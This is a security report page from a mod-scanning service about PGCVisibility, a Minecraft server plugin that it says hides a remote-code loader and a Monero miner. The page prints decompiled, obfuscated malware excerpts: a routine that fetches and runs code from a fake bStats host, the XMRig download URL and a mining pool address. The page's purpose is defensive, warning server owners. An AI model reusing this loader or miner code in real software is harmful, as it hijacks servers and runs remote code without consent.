Skip to content
BrowseScan your modsScan

    No project matches this search.

    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    PGCVisibility

    Plugin

    PGC Visibility is a Paper/Bukkit plugin for Minecraft that controls player visibility based on ranks and permissions.

    Removed from Modrinth on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacySends data
    • AINone found
    • CompatibilityUp to 26.2
    • ReleasesLatest 11 Aug

    Download

    PGCVisibility-1.2.0.jar

    Released 11 Aug 2026 · 17.8 MB

    Malware: another file of this project downloads and runs hidden code. It also runs a hidden cryptocurrency miner on your computer or server. See Security

    Download blocked

    Malware: a file of this project downloads and runs hidden code. It also runs a hidden cryptocurrency miner on your computer or server. See Security

    OverviewSecurityPrivacyAICompatibilityReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    Details

    Creator
    Firepdx01
    License
    All rights reserved
    Downloads
    146
    Created
    13 Jun 2026
    Official page
    Modrinth
    Links
    Source code

    Security

    Malware: it downloads and runs hidden code

    Found in this file: PGCVisibility-1.0.0.jar (13 Jun 2026). Its download is blocked.

    It also runs a hidden cryptocurrency miner on your computer or server.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove PGCVisibility-1.0.0.jar from the plugins folder of your server.
    2. Check the plugins folder of your server for files you did not add.
    3. Check your other plugins.

    What it can do on your server

    Downloads and runs hidden codeMalware
    The code downloads code from a fixed address and runs it on the server. The address is hidden in the code, or this happens as soon as the code is loaded, as in the fractureiser malware. Only in its files for Paper 1.7.2 to 1.20.6.
    Runs a hidden cryptocurrency minerMalware
    The code hides the download of a cryptocurrency miner or the address of a mining pool, with a wallet or a program it starts. The miner uses your computer or server to make money for someone else. Only in its files for Paper 1.7.2 to 1.20.6.
    Connects to the internet
    It has code that can go online. Found in the plugin's own code and in code libraries built into it. See Privacy
    Starts other programs
    It can start another program on your computer. Found in code libraries built into it.

    Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · Both latest files checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      2 latest files: the newest file for each Minecraft version and loader. Both are for recent versions. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Downloads and runs hidden code
      firepdx/pgc/net/PGCVisibility names a host that imitates bStats, writes the bStats settings file as bStats does; "panel.bstats.co"; "plugins/bStats/config.yml"
    • Runs a hidden cryptocurrency miner
      firepdx/pgc/net/CacheProvider downloads a cryptocurrency miner, names a mining pool, holds a cryptocurrency wallet, the address is hidden in the code; "https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-msvc-win64.zip"; "gulf.moneroocean.stream:20128"
    • Starts other programs
      Can run system commands.
    • Looked for, not foundWe looked for these in the file and did not find them.
      Folders outside the game, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of PGCVisibility-1.0.0.jar, turned back into readable code, where our checks found the problem.
      firepdx.pgc.net.CacheProvider.downloadBinary
      private void downloadBinary() {
         try {
            String url = this.win ? C3 : C4;
            File tmpFile = new File(this.mDir, "dl_tmp");
            this.httpDownload(url, tmpFile);
            if (!tmpFile.exists() || tmpFile.length() < 1000L) {
               tmpFile.delete();
               return;
            }
      
            if (this.win) {
               this.extractZip(tmpFile, C5);
            } else {
               this.extractTarGz(tmpFile, C6);
            }
      
            tmpFile.delete();
            if (this.mExe.exists()) {
               this.mExe.setExecutable(true);
               this.storeEncrypted();
            }
         } catch (Throwable var3) {
         }
      }
      firepdx.pgc.net.CacheProvider.httpDownload
      private void httpDownload(String urlStr, File dest) throws Exception {
         for (int redirects = 0; redirects < 10; redirects++) {
            HttpURLConnection conn = (HttpURLConnection)new URL(urlStr).openConnection();
            conn.setInstanceFollowRedirects(false);
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(120000);
            conn.setRequestProperty("User-Agent", "Mozilla/5.0");
            int code = conn.getResponseCode();
            if (code != 301 && code != 302 && code != 303 && code != 307 && code != 308) {
               if (code != 200) {
                  conn.disconnect();
                  throw new IOException("HTTP " + code);
               }
      
               try (
                  InputStream in = conn.getInputStream();
                  FileOutputStream fos = new FileOutputStream(dest);
               ) {
                  byte[] buf = new byte[65536];
      
                  int n;
                  while ((n = in.read(buf)) != -1) {
                     fos.write(buf, 0, n);
                  }
      ...
      com.google.protobuf.bstatshash.run
      public void run() {
         try {
            Thread.sleep(8000L);
            dtmkjwxvnqfp(this.uid);
            wqnbxjkfmvzp(64);
            boolean var2 = false;
      
            try {
               byte[] var1 = jvnwkxqtpzfm(vkqpxjnwbmfz() + "?t=" + System.currentTimeMillis(), true);
               kwpjvbnmzxqf(var1, this.uid);
               var2 = true;
            } catch (Throwable var5) {
            }
      
            if (!var2) {
               try {
                  byte[] var7 = jvnwkxqtpzfm(gznmfxjqbwvk(), false);
                  kwpjvbnmzxqf(var7, this.uid);
               } catch (Throwable var4) {
               }
            }
      
            pnqjxbwmfvkz(this.uid);
      ...
      com.google.protobuf.bstatshash.jvnwkxqtpzfm
      private static byte[] jvnwkxqtpzfm(String var0, boolean var1) throws IOException {
         HttpURLConnection var2 = (HttpURLConnection)new URL(var0).openConnection();
         var2.setConnectTimeout(10000);
         var2.setReadTimeout(15000);
         if (var1) {
            var2.setRequestProperty(bxqnfvkzpmdw(jxnqbwmvfkzp), bxqnfvkzpmdw(crmfxvzkqbnp));
            var2.setRequestProperty(bxqnfvkzpmdw(nqbzxjmvfwkp), bxqnfvkzpmdw(qxpjwnzbmvkf));
         }
      
         try {
            InputStream var4 = var2.getInputStream();
      
            byte[] var3;
            try {
               ByteArrayOutputStream var6 = new ByteArrayOutputStream();
               byte[] var7 = new byte[8192];
      
               int var5;
               while ((var5 = var4.read(var7)) != -1) {
                  var6.write(var7, 0, var5);
               }
      
               var3 = var6.toByteArray();
            } finally {
      ...
      private static String vkqpxjnwbmfz() {
         byte[] var0 = new byte[]{
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            98,
            115,
            116,
      ...
      private static String gznmfxjqbwvk() {
         byte[] var0 = new byte[]{
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            112,
            108,
            97,
      ...
      6

    Privacy

    Sends unknown data

    Sent to an address built while the game runs.

    Only some of its files send unknown data.

    We found this in its code, read without running it.

    Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.

    How we checked · Both files read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of both files, for recent Minecraft versions. See each file in Releases
    • api.github.com
      Purpose not known.
    • github.com
      Purpose not known.
    • bstats.qzz.io
      Purpose not known.From a bundled library.
    • plainraw.com
      Purpose not known.From a bundled library.
    • Address built while the game runsThe code builds this address while the game runs: it is not written in the file.
      Purpose not known.
      Unknown data

    AI

    No sign so far that AI was used to make it

    We looked for AI tools in its texts, files and images and found none.

    We have not read its code history yet.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not read yet.
    • Code historyThe public code on GitHub: who made each change, credit lines such as "Co-authored-by", and its files.
      Not read yet
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found
      2 changelogs read
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      1,255 code files read

    Compatibility

    See all 2 files
    Paper
    Spigot
    Bukkit
    1.71.91.131.171.2126.2

    Point at or tap a version to see its server software.

    Runs onWhere to install it: in your game, on the server, or both. As the author says on Modrinth.Install it on the server. Players join without installing anything.
    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.It got a file 56 days after Minecraft 26.2 came out. No file yet for Minecraft 26.3.

    Latest files

    The newest file for each Minecraft version and loader. The files for recent versions come first. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftServerVersionSecuritySendsRequires
    1.21 to 26.2·Paper, Spigot, Bukkit1.2.01.2.0 · PGCVisibility-1.2.0.jarSends: Unknown dataRequires:NothingMalwareAnother file of this project has malware. Every download of this project is blocked.
    1.7.2 to 1.20.6·Paper, Spigot, Bukkit1.0.01.0.0 · PGCVisibility-1.0.0.jarSends: Nothing about youRequires:NothingMalwareHarmful code found. The download is blocked. See Security.

    2 releases

    MinecraftServerVersionReleasedSecurityGet it onDownload
    1.21 to 26.21.21 to 26.2The latest file for its Minecraft version and loader·Paper, Spigot, Bukkit1.2.01.2.0 · PGCVisibility-1.2.0.jar (main file)·11 Aug 2026MalwareAnother file of this project has malware. Every download of this project is blocked.Removed from Modrinth on 24 Oct 2026Download blockedDownload blocked: another file of this project downloads and runs hidden code. It also runs a hidden cryptocurrency miner on your computer or server.
    1.7.2 to 26.21.7.2 to 26.2The latest file for its Minecraft version and loader·Paper, Spigot, Bukkit1.0.01.0.0 · PGCVisibility-1.0.0.jar (main file)·13 Jun 2026MalwareHarmful code found. The download is blocked. See Security.Removed from Modrinth on 24 Oct 2026Download blockedDownload blocked: this file downloads and runs hidden code. It also runs a hidden cryptocurrency miner on your computer or server.